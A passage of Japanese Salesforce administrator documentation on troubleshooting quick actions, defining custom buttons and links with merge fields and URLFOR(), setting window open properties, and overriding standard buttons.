の項目です。たとえば、ユーザが子ケースを作成できるようにするケースの
アクションの場合、デフォルトのリレーション項目は [親ケース]です。ユー
ザが [子ケースの作成] アクションを表示できるようにするには、[親ケース]

項目に対する「参照」権限と「編集」権限の両方がユーザに付与されている
ことを確認します。
項目レベルセキュリティは、デフォルトでケースオブジェクトの [取引先] 親項目を参照のみに設定します。
つまり、この項目はシステム管理者以外のユーザには表示されません。そのため、対象オブジェクトとし
てケースが指定されている取引先でのアクションも、システム管理者プロファイルのないユーザには表示
されません。対象オブジェクトとしてケースが指定されている取引先でのアクションをユーザに表示する
には、[参照のみ] の設定を削除します。

• ユーザプロファイルページには、ユーザページレイアウトのアクションに関係なく、Chatter 標準アクショ
ン ([投稿]、[ファイル]、[リンク]、[アンケート]、[感謝]) のみが表示されます。

• Lightning Experience でサポートされていないオブジェクトに関連付けられたアクションは、メニューには表
示されません。また、[グローバルアクション] メニューでは、標準の Chatter アクション ([投稿]、[ファイ
ル]、[アンケート]、[リンク]、[質問]、[感謝]) はサポートされていません。

• 主従関係の従オブジェクトであるオブジェクトのレコードを作成するアクションは、グローバルアクショ
ンではなくオブジェクト固有のアクションである必要があります。

• アクションを削除すると、そのアクションが割り当てられているすべてのレイアウトからアクションが削
除されます。
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• Lightning Experience の Chatter ページでは、標準の Chatter アクション ([投稿]、[アンケート]、および [質問]) の
みがサポートされ、グループが設定されていれば、[お知らせ] アクションもサポートされます。

• Lightningコンポーネントアクションが正しく動作するには、組織に [私のドメイン] がリリースされている必
要があります。

• モバイルスマートアクションは、どのページレイアウトに追加するかに関係なく、Salesforce フルサイトに
は表示されません。Salesforce1のユーザにのみ表示されます。フルサイトにアクセスするよりもモバイルデ
バイスの Salesforce にアクセスすることが多いユーザがいる場合は、これらのユーザ用の特定のページレイ
アウトを作成し、こうしたレイアウトにモバイルスマートアクションのみを含めることを検討します。

• 顧客を含まない Chatter グループには、カスタマイズされたグループパブリッシャーレイアウトで上書きさ
れている場合を除き、デフォルトでグローバルパブリッシャーレイアウトが表示されます。顧客を許可す
るChatterグループの場合は、パブリッシャーに標準アクション ([投稿]、[ファイル]、[リンク]、[アンケート])

のみが表示されます。

アクションのトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

特定のオブジェクトのレコード詳細ページにフィードが表示されない
フィード追跡を有効にしたオブジェクトのフィードのみが表示されます。

レコード詳細ページにフィードは表示されるが、パブリッシャーが表示
されない
ページレイアウトの [Salesforce Classic パブリッシャーのクイックアクション] セク
ションにアクションがない場合は、Salesforce Classicにパブリッシャーが表示され
ません。パブリッシャーを表示するには、少なくとも 1 つのアクションをペー
ジレイアウトに追加します。

アクションは作成できるが、パブリッシャーに追加できない
Salesforce Classicでパブリッシャーに非標準アクションを追加するには、パブリッ
シャーのアクションを有効化します。

Internet Explorer 10 を使用しているが、異なるタイプのオブジェクトのアクションであるにも関わら
ず、作成したすべてのアクションが同じアイコンでパブリッシャーに表示される
Internet Explorer バージョン 10 では、アイコンを表示するために Salesforce で使用される手法がサポートされてい
ません。このアイコンは、アクションが関連付けられているオブジェクトのタイプに対応します。Chrome、
Firefox、Safari、または Internet Explorer の以前のバージョンを使用することを検討してください。

アクションをページレイアウトに追加したが、そのページレイアウトを使用するプロファイルに割
り当てられたユーザにアクションが表示されない
アクションのリレーション項目に対する「参照」権限と「編集」権限の両方がユーザに付与されていることを
確認してください。リレーション項目は、ユーザがアクションを使用してレコードを作成したときに自動的に
入力される対象オブジェクトの項目です。たとえば、ユーザが子ケースを作成できるようにするケースのアク
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ションの場合、デフォルトのリレーション項目は [親ケース] です。ユーザが [子ケースの作成] アクションを
表示できるようにするには、[親ケース] 項目に対する「参照」権限と「編集」権限の両方がユーザに付与さ
れていることを確認します。

グローバル作成アクションにリレーション項目が表示されない
リレーション項目は、グローバルアクションではなくオブジェクト固有の作成アクションにのみ適用されま
す。

Chatter グループに一部のアクションが表示されない
表示されるアクションは、グループ内のロール、グループの種別、システム管理者によるグループのパブリッ
シャーレイアウトの設定によって異なります。顧客を含まない Chatter グループには、カスタマイズされたグ
ループパブリッシャーレイアウトで上書きされている場合を除き、デフォルトでグローバルパブリッシャーレ
イアウトが表示されます。顧客を許可する Chatter グループの場合は、パブリッシャーに標準アクション ([投
稿]、[ファイル]、[リンク]、[アンケート]) のみが表示されます。

関連トピック:

アクションのベストプラクティス
Chatter が有効な場合のアクションの設定

カスタムボタンとカスタムリンクの提供

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタムボタンとカスタムリンクを使用して、Salesforceのデータを外部 URL、ア
プリケーション、社内イントラネット、またはその他のバックエンドオフィス
システムに統合できます。
Salesforce は次のカスタムリンクとカスタムボタンをサポートします。

設定されるページカスタムリンクまたはカスタムボタン
のタイプ

ホームページのコンポーネント標準のカスタムリンクホームページコ
ンポーネントで定義されているブック
マークスタイルのリンク

カスタムリンクカスタムホームページコンポーネント
に含まれているフル機能のカスタムリ
ンク

ボタン、リンク、およびアクション (オ
ブジェクトの管理設定内)

オブジェクトのフル機能のカスタムリ
ンクまたはカスタムボタン

カスタムリンクは、www.google.com、Visualforceページ、会社のイントラネットなどの外部 URL にリンクでき
ます。また、Java アプレットや Active-X コントロールなど、カスタムSコントロールライブラリ内のカスタムSコ
ントロールにもリンクできます。
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カスタムボタンの機能は次のとおりです。
• 取引先責任者の住所への対応付けを表示する Web ページなど、外部アプリケーションにユーザを接続しま

す。
• ケースの詳細ページからケースをエスカレーションする Sコントロールなど、Sコントロールライブラリか

ら Sコントロールを実行します。
• カスタムリンクを起動します。
ユーザに対してリンクまたはボタンの実行対象をどのように表示するかを決定する表示ウィンドウプロパティ
を選択できます。カスタムリンクと Sコントロールには、URL またはカスタム Sコントロール内のトークンとし
て Salesforce の項目を含めることができます。たとえば、
http://search.yahoo.com/bin/search?p={!Account_Name}のように URL に取引先名を含めることで、
Yahoo を検索できます。
一部の標準ボタンのデフォルトアクションを上書きし、組織のニーズに合うようにタブのホームページの動作
をカスタマイズすることもできます。
埋め込みサイトが次のようになっている場合、[Web] タブまたはカスタムリンクに空白のページが表示される
ことがあります。
• フレームへのコンテンツの読み込みを拒否するように設定されている。
• 同じサイトでコンテンツを配信する場合にのみ、フレームへのコンテンツの読み込みを許可するように設

定されている。
• セキュアなコンテンツとセキュアでないコンテンツが混在していて、混在したアクティブコンテンツをブ

ロックするようにユーザのブラウザが設定されている。
この問題を回避するには、次の回避策を実行します。
• 新しいウィンドウで開くか、サイドバーやヘッダーのない既存のウィンドウに表示するようにカスタムリ

ンクを設定します。
• URL を Web タブからカスタムリンクに移動し、その URL が新しいウィンドウで開くか、サイドバーやヘッ

ダーのない既存のウィンドウに表示するように設定します。
• 埋め込むサイトに HTTP プレフィックスおよび混在したアクティブコンテンツがある場合、プレフィックス

を HTTPS に変更します。埋め込みサイトに有効なセキュリティ証明書があり、フレームへの表示がブロッ
クされていない場合、プレフィックスとして HTTPS を使用することで、サイトを表示できます。

カスタムボタンとカスタムリンクの定義
ユーザがカスタムボタンまたはカスタムリンクをクリックしたときに発生するアクションを定義します。
カスタムボタンやカスタムリンクを使用すると、Salesforce 内のアクションを合理化したり、Salesforce デー
タを外部の URL、アプリケーション、またはシステムと統合したりできます。
標準ボタンとタブのホームページの上書き
レコードの詳細ページの標準ボタンの機能を上書きできます。さらに、標準オブジェクト、カスタムオブ
ジェクト、または外部オブジェクトのタブをクリックすると表示されるタブのホームページも上書きでき
ます。
カスタムボタンとカスタムリンクの例
Salesforce のカスタムボタンとカスタムリンクの例を使用して、それらが役に立つかどうかを判断します。
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カスタムボタンとカスタムリンクの考慮事項
カスタムボタンとカスタムリンクを操作するときは、次の考慮事項に留意してください。
Salesforce コンポーネントへの参照の表示

関連トピック:

カスタムボタンとカスタムリンクの定義
デフォルトのカスタムリンクの追加
[ホーム] タブのページレイアウトのカスタマイズ

カスタムボタンとカスタムリンクの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

ユーザがカスタムボタンまたはカスタムリンクをクリックしたときに発生する
アクションを定義します。カスタムボタンやカスタムリンクを使用すると、
Salesforce 内のアクションを合理化したり、Salesforce データを外部の URL、アプリ
ケーション、またはシステムと統合したりできます。
カスタムリンク作成のデモビデオをご覧ください。
カスタムページやその他のコードを起動するボタンまたはリンクが必要な場合
は、Visualforce ページを検討します。
1. 編集するオブジェクトの管理設定から、[ボタン、リンク、およびアクショ

ン] に移動します。

メモ: ユーザオブジェクトまたはカスタムホームページでは、カスタム
ボタンを使用できません。カスタムボタンとカスタムリンクは、ToDo ま
たは行動の個々のオブジェクト管理設定にある活動で使用できます。
ToDo と行動の両方に適用される標準ボタンを上書きするには、活動のオ
ブジェクト管理設定に移動します。

2. [新規ボタンまたはリンク]をクリックします。または、[デフォルトのカスタ
ムリンク] をクリックして定義済みのカスタムリンクを追加します。

3. ボタンまたはリンクの属性を入力します。
次の例は、取引先の名前を Web で検索するボタンの属性を示します。
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4. すべての Salesforce 差し込み項目と関数を検証するには、[構文を確認] をクリックします。
5. 完了したら [保存] をクリックします。または、保存後、編集を継続するには、[適用] をクリックします。

コンテンツソースを URL に設定している場合、保存により、定義した URL が検証されます。
6. ユーザのブラウザのデフォルト設定とは異なる設定を使用してボタンまたはリンクを開くには、ボタンま

たはリンクの詳細ページで [ウィンドウオープンプロパティ] をクリックします。
7. 新しいボタンまたはリンクへのすべての参照を表示するには、その詳細ページで [使用場所] をクリックし

ます。
ユーザ用のカスタムリンクは、ユーザの詳細ページの [カスタムリンク] セクションに自動的に追加されま
す。ページボタンは、ページレイアウトの [ボタン] セクションにのみ追加できます。

メモ: リンク URL は、最大 2,048 バイトです。データが URL のトークンと入れ替えられる場合、リンクが
3,000 バイトを超える可能性があります。ブラウザによっては、URL の最大長に制限があります。

カスタムボタンとカスタムリンクを使用するには、それらをオブジェクトのページレイアウトに追加します。
追加すると、そのボタンやリンクがレコード詳細ページに表示され、使用できるようになります。

カスタムボタンとリンク項目
次の表に、カスタムボタンまたはカスタムリンクの作成時に使用できる項目を定義します。
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効果的なカスタムリンクの作成
次の方法を使用して効果的なカスタムリンクを作成します。
ウィンドウオープンプロパティの編集
カスタムボタンとカスタムリンクの差し込み項目
デフォルトのカスタムリンクの追加
カスタムリンクのベストプラクティス
カスタムボタンやカスタムリンクを使用すると、Salesforce 内のアクションを合理化したり、Salesforce デー
タを外部の URL、アプリケーション、またはシステムと統合したりできます。これらのベストプラクティス
を使用してカスタムリンクを最大限に活用できます。

関連トピック:

オブジェクト管理設定の検索
カスタムボタンとカスタムリンクの考慮事項
カスタムボタンとカスタムリンクの例

カスタムボタンとリンク項目

エディション

使用可能なエディション:
Salesforce Classic

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: Database.com
Edition を除くすべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次の表に、カスタムボタンまたはカスタムリンクの作成時に使用できる項目を
定義します。

説明属性名

ユーザインターフェースに表示されるカスタムボタンまた
はカスタムリンクのテキストを入力します。

表示ラベル

差し込み項目からの参照時に使用されるボタンまたはリン
クの一意の名前を受け入れるか、入力します。この名前は、
アンダースコアと英数字のみを使用でき、組織内で一意に
する必要があります。最初は文字であること、空白は使用
しない、最後にアンダースコアを使用しない、2 つ続けてア
ンダースコアを使用しないという制約があります。

名前

パッケージを一意に識別するプレフィックスを入力します。
パッケージコンテキストでは、名前空間プレフィックスと
は AppExchange にある自社パッケージとそのコンテンツを他
の開発者のパッケージと区別するための 1 ～ 15 文字の英数
字で構成される識別子です。名前空間プレフィックスでは、
大文字小文字は区別されません。たとえば、ABC と abc は一
意として認識されません。名前空間プレフィックスは、す

名前空間プレ
フィックス

べての Salesforce 組織にわたって必ずグローバルに一意なも
のを指定します。名前空間プレフィックスを使用すること
で、各自の管理パッケージのみを管理できるようになりま
す。

6322

アクション、ボタン、およびリンクの提供コードではなくてクリックによる Salesforce の拡張



説明属性名

必要に応じて、登録者組織での使用を制限します。保護コンポーネントは、登録者
の組織で作成されたコンポーネントからリンク付けしたり参照したりすることはで

保護コンポーネント

きません。開発者は、今後のリリースで、インストールの失敗を心配することなく
保護コンポーネントを削除できます。ただし、コンポーネントが非保護に設定さ
れ、グローバルにリリースされると、開発者は削除できなくなります。

ボタンまたはリンクを他のボタンやリンクと識別するためのテキストを入力しま
す。このテキストは、ボタンとリンクの設定時にシステム管理者に対してのみ表示
されます。

説明

ページレイアウトのどこにボタンまたはリンクを表示するかを決めます。
詳細ページリンク

ページレイアウトの [カスタムリンク] セクションにリンクを追加します。

表示の種類

詳細ページボタン
レコードの詳細ページにカスタムボタンを追加します。詳細ページのボタンは、
ページレイアウトの [ボタン] セクションに追加できます。

リストボタン
リストビュー、検索結果レイアウト、または関連リストにカスタムボタンを追
加します。リストボタンは、ページレイアウトの [関連リスト] セクションまた
は [リストビュー] レイアウトと [検索結果] レイアウトに追加できます。
リストボタンの場合、リスト内の各レコードの横にチェックボックスが表示さ
れるように、[チェックボックスの表示 (複数レコード選択用)]オプションが選択
されます。これにより、ユーザはリストボタンのアクションに適用されるレコー
ドを選択できます。カスタムボタンを使用してユーザがレコードを選択する必
要がない場合には、このオプションをオフにします。

ボタンまたはリンクをクリックした際の処理を選択します。
適用できる場合は、一部の設定にデフォルト値を使用します。たとえば、[新規ウィ
ンドウに表示] を選択した場合の新規ウィンドウのデフォルトの高さは 600 ピクセ
ルとなります。「ウィンドウオープンプロパティの編集」を参照してください。

動作

ボタンまたはリンクのコンテンツとして、URL、Sコントロール、JavaScript アクショ
ン、または Visualforce ページを使うかどうかを選択します。
Salesforce で、カスタムリンクとカスタムボタンの URL が正しいかチェックされま
す。無効な URL マークアップ (スクリプトなど) を含むカスタムリンクやカスタムボ

内容のソース

タンを作成または編集すると、Salesforceによりリンクの表示がブロックされます。
代わりに、エラーメッセージがフロート表示されます。URL が有効で適切な形式に
なるように再設定します。URL は、相対 URL または絶対アドレス http://、
https://、file://、ftp://、または mailto:// にできます。Spring '13 より前
に作成されたカスタムリンクまたはカスタムボタンの無効な URL は、編集するまで
正しいかチェックされることはありません。

6323

アクション、ボタン、およびリンクの提供コードではなくてクリックによる Salesforce の拡張



説明属性名

ボタンまたはリンクの種別が URL または [OnClick JavaScript] だった場合に、そのボタ
ンまたはリンクのコンテンツを入力する手順は、次のとおりです。

コンテンツ

• 項目を挿入するには、[差し込み項目の種類] から項目のデータ型を選択し、[項
目の挿入] から項目を選択します。

• 活動の差し込み項目を挿入するには、[差し込み項目の種類]から [行動]または
[ToDo] を選択します。

• 演算子を挿入するには、[演算子の挿入] ドロップダウンリストから該当する演
算子アイコンを選択します。

• 関数を挿入するには、リストにある名前をダブルクリックするか、選択してか
ら [ Insert Selected Function] をクリックします。関数のリストを検索するには、
[関数] ドロップダウンリストからカテゴリを選択します。関数を選択後 [Help

on this function] をクリックして、その関数を使った数式の例や説明を参照しま
す。

ヒント: インターネット標準では、URL に特殊なエンコードが必要です。
Salesforce では、リンクに挿入した差し込み項目からテキストがエンコードさ
れます。リンクに後から追加したテキストは、手動でエンコードします。た
とえば、次の URL を生成するとします。
http://www.google.com/search?q={!user.name} Steve Mark 50%

それには次の内容を使用します。
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

内容のソースが URL の場合は、Salesforceにより URL から二重引用符が削除され
ます。二重引用符の使用が必要な場合は、手動でエンコードします。たとえ
ば、URL http://www.google.com/search?q="salesforce+foundation"

を生成するには、
http://www.google.com/search?q=%22salesforce+foundation%22を
使用します。

文字コード設定を選択します。デフォルトでは Unicode (UTF-8) になります。リンク
の対象が異なる形式のデータを必要とする場合は、デフォルトの文字コード設定を
変更します。文字コードは、[内容のソース] が URL の場合に使用できます。

リンクのエンコード
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効果的なカスタムリンクの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次の方法を使用して効果的なカスタムリンクを作成します。
差し込み項目を使用して Salesforce データを渡す

カスタムリンクに差し込み項目を追加して、Salesforce レコード、ユーザ情
報、または会社情報から他の Web サイトやアプリケーションにデータを渡せ
ます。
たとえば、Google で取引先名を検索したり、マップで住所を探すカスタムリ
ンクを作成できます。

http://google.com/search?q={!Account.Name}

http://maps.google.com?q={!Account.ShippingStreet} {!Account.ShippingCity}
{!Account.ShippingState} {!Account.ShippingPostalCode}

メモ: カスタムリンクではデータ型の変換はサポートされません。ある Salesforce 項目から他の項目へ
データを渡すカスタムリンクを作成する場合、そのデータはデータを配置する項目のデータ型と一致
する必要があります。たとえば、数値データを使用する場合は数値項目に渡す必要があります。

記号を特定の文字に置き換えるか、URLENCODE() を使用する
World Wide Web Consortium (W3C) で規定された URL エンコード標準により、特定の「安全ではない」文字 (ス
ペース、句読点など) は URL を使用して渡すことができません。カスタムボタンまたはカスタムリンクはこ
れらの文字をエスケープするので、URL エンコードを行う必要はありません。
URL をエンコードする必要がある場合、差し込み項目で URLENCODE() 関数を使用します。たとえば、
{!URLENCODE(text)} で、text をエンコードが必要な差し込み項目またはテキスト文字列で置換しま
す。
例: 差し込み項目 foo__c に <B>Mark's page<b> が含まれる場合、{!URLENCODE(foo_c)} は
%3CB%3EMark%27s%20page%3C%2Fb%3E のようになります。

Visualforce ページにリンクする場合に、URLFOR() を使用する
Visualforce ページにリンクするには、ページへの相対パス (/apex/PageName) を設定して URLFOR() を使用
します。たとえば、レコードに関連付けられていない MissionList という名前の Visualforce ページにリンクす
るには、次の構文を使用します。
{! URLFOR( “/apex/MissionList” ) }
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Visualforceページを設定して URLFOR()を使用し、レコード ID をそのページに渡す場合、ID をパラメータと
して渡す必要があります。
{! URLFOR( “/apex/Mission”, null, [id=Mission__c.Id] ) }

$Action グローバル変数と URLFOR() を使用して Salesforce ページにリンクする
Salesforce でページを参照するカスタムボタンやカスタムリンクを作成する場合、ページへのパスに貼り付
けするのではなく、$Actionグローバル変数を使用してリンクを作成します。組織が別のサーバに移動し
たり、ページへの URL が変更になった場合でも、リンクは正しいページを参照します。
リンクを作成するには、$Action 変数を設定した URLFOR() 数式関数を使用します。
{!URLFOR( $Action.Case.NewCase, Account.Id )}

取引先オブジェクトのこのカスタムリンクによって [新規ケース] フォームが開き、ケースを取引先レコー
ドの子として作成します。このプロセスは、取引先オブジェクトへの参照があるオブジェクトに使用でき
ます。他のレコードの子ではないレコードを作成するか、または 2 つのオブジェクトの間にリレーション
が存在しない場合、$ObjectType.ObjectNameを 2 番目の引数として使用できます。次に例を示します。
{!URLFOR( $Action.Case.NewCase, $ObjectType.Case )}

$Action グローバル変数にはレコード ID または $ObjectType が入ります。たとえば、次の 2 つの数式は
それぞれ取引先のタブへのリンクと詳細ページへのリンクを作成します。
{!URLFOR( $Action.Account.Tab, $ObjectType.Account )}

{!URLFOR( $Action.Account.View, Some_Account_Lookup__c.Id )}

URLFOR() 関数にはクエリ文字列パラメータとして宛先に渡される追加の省略可能な引数があります。
Visualforceページを使用して標準アクションを上書きする場合に、これらの引数を使用してVisualforceページ
またはコントローラに必要な追加パラメータを渡すことができます。たとえば、ケースのクローズ時に
「Actual Delivery Date」(実配送日) というケースのカスタム項目の値を「今日」に変更する場合、次のように
使用できます。
{!URLFOR($Action.Case.CloseCase, Case.Id, [ actualDeliveryDate=TODAY()] )}

これにより、[ケースのクローズ] アクションを Visualforce ページで上書きし、そのVisualforce ページまたはコ
ントローラのいずれかで「Actual Delivery Date」(実配送日) 項目値の設定を処理できます。詳細は、「Visualforce

ページでのクエリ文字列パラメータの使用」を参照してください。

関連トピック:

カスタムリンクの例: ドキュメントへのリンク
カスタムリンクの例: Chatter のファイルへのリンク
カスタムリンクの例: レポートへのリンク
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ウィンドウオープンプロパティの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Sコントロールを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクのプロパ
ティを編集する
• 「アプリケーションの

カスタマイズ」

カスタムボタンおよびカスタムリンクは、別のウィンドウで開くことができま
す。カスタムボタンまたはカスタムリンクをポップアップウィンドウを開くよ
うに選択した場合は、ウィンドウのプロパティを設定します。ウィンドウのプ
ロパティを空白のままにすると、カスタムボタンまたはカスタムリンクにはユー
ザのブラウザのデフォルト設定が使用されます。
ウィンドウオープンプロパティを編集する手順は、次のとおりです。
1. 編集するボタンまたはリンクがあるオブジェクトの管理設定から、[ボタン、

リンク、およびアクション] に移動し、ボタンまたはリンク名をクリックし
ます。ユーザオブジェクトでは、カスタムボタンを使用できません。

2. [ウィンドウオープンプロパティ] をクリックします。
3. 次のプロパティを編集します。

説明ウィンドウのプロパティ

ポップアップの幅 (ピクセル)。幅

ポップアップの高さ (ピクセル)。高さ

ポップアップが開かれる画面上の位
置。

ウィンドウの位置

ユーザがポップアップウィンドウの
サイズを変更できるようにします。

サイズ変更可能

URL が示されるブラウザのアドレス
バーを表示します。

アドレスバーの表示

ポップアップにブラウザのスクロー
ルバーを表示します。

スクロールバーの表示

ブラウザのツールバーを表示します。
通常、ツールバーには [戻る]、[進

ツールバーの表示

む]、[印刷] などのナビゲーションボ
タンがあります。

ブラウザのメニューを表示します。
一般的なメニューには、[ファイル]

メニューバーの表示

や [編集] などのオプションがありま
す。

ブラウザの下部にステータスバーを
表示します。

ステータスバーの表示
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メモ: カスタムボタンまたはカスタムリンクの動作によっては、一部のプロパティを使用できない場
合があります。たとえば、「JavaScript を実行」を選択した場合には、ウィンドウオープンプロパ
ティを使用できません。

4. 変更内容を保存します。

関連トピック:

カスタムボタンとカスタムリンクの定義

カスタムボタンとカスタムリンクの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: Database.com
を除くすべてのエディ
ション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。

構文および書式設定
カスタムボタンまたはカスタムリンクに差し込み項目を挿入すると、開き中括
弧と感嘆符の後にオブジェクト名、ピリオド、項目名、および閉じ中括弧と続
く形式で構文が構成されます。

{!Object_Name.Field_Name}

確実に正しい構文を使用するには、カスタムボタンとカスタムリンクのエディタでドロップダウンリストから
差し込み項目を選択します。

ヒント
• 活動の差し込み項目を挿入するには、[差し込み項目の種類] ドロップダウンリストから [行動]または [ToDo]

を選択します。
• 標準ホームページのカスタムリンクコンポーネントを使用して、サイドバーにリンクをすばやく追加でき

ます。

警告: 標準ホームページのカスタムリンクコンポーネントでは、次のものはサポートされません。
– 差し込み項目
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– URLFOR などの関数
– JavaScript の実行
– カスタマイズ可能なウィンドウの開始プロパティ

関連トピック:

レコードからのメール生成
カスタムボタンとカスタムリンクの考慮事項

デフォルトのカスタムリンクの追加

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムリンクを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

1. 適切なオブジェクトの管理設定から、[ボタン、リンク、およびアクション]

または [ボタンとリンク] に移動します。
2. [デフォルトのカスタムリンク] をクリックします。
3. 追加するサンプルリンクの横にある [今すぐ追加] をクリックします。
4. リンクのデフォルトデータを必要に応じて変更します。
5. [保存] を選択します。
6. 適切なタブに新しいリンクが表示されるように、ページレイアウトを編集し

ます。

関連トピック:

カスタムボタンとカスタムリンクの定義
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カスタムリンクのベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

カスタムボタンやカスタムリンクを使用すると、Salesforce 内のアクションを合
理化したり、Salesforceデータを外部の URL、アプリケーション、またはシステム
と統合したりできます。これらのベストプラクティスを使用してカスタムリン
クを最大限に活用できます。

メモ: Salesforceでは、カスタムリンクとカスタムボタンの URL が正しいかど
うかがチェックされます。無効な URL マークアップ (スクリプトなど) を含
むカスタムリンクやカスタムボタンを作成または編集すると、Salesforce に
よりリンクの表示がブロックされます。代わりに、エラーメッセージがフ
ロート表示されます。URL が有効で適切な形式になるように再設定します。
URL は、相対 URL または絶対アドレス http://、https://、file://、
ftp://、または mailto:// にできます。Spring '13 より前に作成されたカ
スタムリンクまたはカスタムボタンの無効な URL は、編集するまで正しい
かどうかをチェックされることはありません。

高度なユーザのベストプラクティス
Salesforce では項目名を変更する予定はありませんが、これは将来も項目名を変
更しないことを保証するものではありません。したがって、Salesforce 項目を含
むカスタムリンクは、その対応付けの方法が変更になる可能性があります。
SSL を使用してセッション ID を渡す

セッション ID を「http」URL に渡さないでください。代わりに、セキュアソケットレイヤ (SSL) 「https」
URL を使用してセッション ID を渡します。URL に重要な顧客情報が含まれる場合があるため、インターネッ
ト上でホストされる他のアプリケーションに渡す場合、データは常に SSL を使用する必要があります。

シングルサインオン
シングルサインオン (SSO) をサポートしてセッション ID を渡すには、カスタムリンクを使用します。これに
より Salesforce データを管理するために組織でホストする Web アプリケーションにユーザが複数回ログイン
しないようにします。{!User_Session_ID}差し込み項目を渡すカスタムリンクを作成します。これによ
り、ユーザは 1 回の認証ですべての承認済みリソースにアクセスできます。外部システムは Web サービス
を使用して Salesforce リソースにアクセスできます。このため、組織はファイアウォールの内側にある互い
の IT システムを詳細に知ることなく、データのやり取りができます。

URL でサーバ日付を送信する
統合プロジェクトの中には Salesforce の起動日を知るためにサーバ日付を含むカスタムリンクが必要な場合
があります。Salesforce のサーバ日付はカスタムリンクを使用して外部システムに渡すことができます。た
とえば、「http://someurl.com/somepath?current_date={!Today}」などです。日付には太平洋タ
イムゾーンを使用します。

ブラウザでのタブセットの重複表示を避ける
Unlimited Edition と Enterprise Edition では、同じブラウザウィンドウにユーザを保持することでタブセットが重
複して表示されないようにするアクションを実行するカスタムリンクを作成できます。次のコードを含む
Visualforce ページを作成し、<REGULAR_WIL> を通常または既存のカスタムリンクに置換します。
<script language="JavaScript">
function redirect() {
parent.frames.location.replace("<REGULAR_WIL>")
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}
redirect();
</script>

標準ボタンとタブのホームページの上書き

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visualforceの上書きも使用
可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

標準ボタンとタブのホー
ムページを上書きする
• 「アプリケーションの

カスタマイズ」

ボタンとタブのホーム
ページの上書きをリセッ
トする
• 「アプリケーションの

カスタマイズ」

レコードの詳細ページの標準ボタンの機能を上書きできます。さらに、標準オ
ブジェクト、カスタムオブジェクト、または外部オブジェクトのタブをクリッ
クすると表示されるタブのホームページも上書きできます。
ボタンの上書きはグローバルです。たとえば、商談の [新規] ボタンを上書きす
ると、次のようなそのアクションが利用できるすべての場所でその代替アクショ
ンが有効になります。
• 商談のホームページ
• 取引先など、他のオブジェクトにあるすべての商談関連リスト
• サイドバーの [新規作成] ドロップダウンリスト
• この Salesforce ページのすべてのブラウザブックマーク
1. 上書きを設定するオブジェクトのオブジェクト管理設定から、[ボタン、リン

ク、およびアクション] に移動します。
2. 上書きするボタンまたはタブのホームページの横にある [編集]をクリックし

ます。
3. アクションを関連付ける上書きの種類を選択します。

• 上書きしない (デフォルトを使用): インストールパッケージが提供したカ
スタム上書きを使用します。パッケージがインストールされていない場
合、標準の Salesforce の動作が使用されます。

• 標準 Salesforce ページ: インストールされたカスタムオブジェクトのアク
ションを上書きしている登録者のみ使用できます。このオプションを選
択すると、標準の Salesforce の動作が使用されます。

• カスタムSコントロール: Sコントロールの動作を使用します。

重要: Visualforce ページは、Sコントロールよりも優先されます。組織
で以前に Sコントロールを使用していない場合は、作成できません。
既存の Sコントロールに影響はありません。今後も編集できます。

• Visualforce ページ: Visualforce ページの動作を使用します。

4. ユーザがボタンまたはタブをクリックしたときに実行する Sコントロールま
たは Visualforce ページの名前を選択します。
Visualforce ページでボタンを上書きするときには、ボタンが表示されるオブ
ジェクトに対して標準コントローラを使用するVisualforceページのみを選択で
きます。たとえば、取引先の [編集] ボタンを上書きするためにページを使用する場合、そのページのマー

6331

アクション、ボタン、およびリンクの提供コードではなくてクリックによる Salesforce の拡張



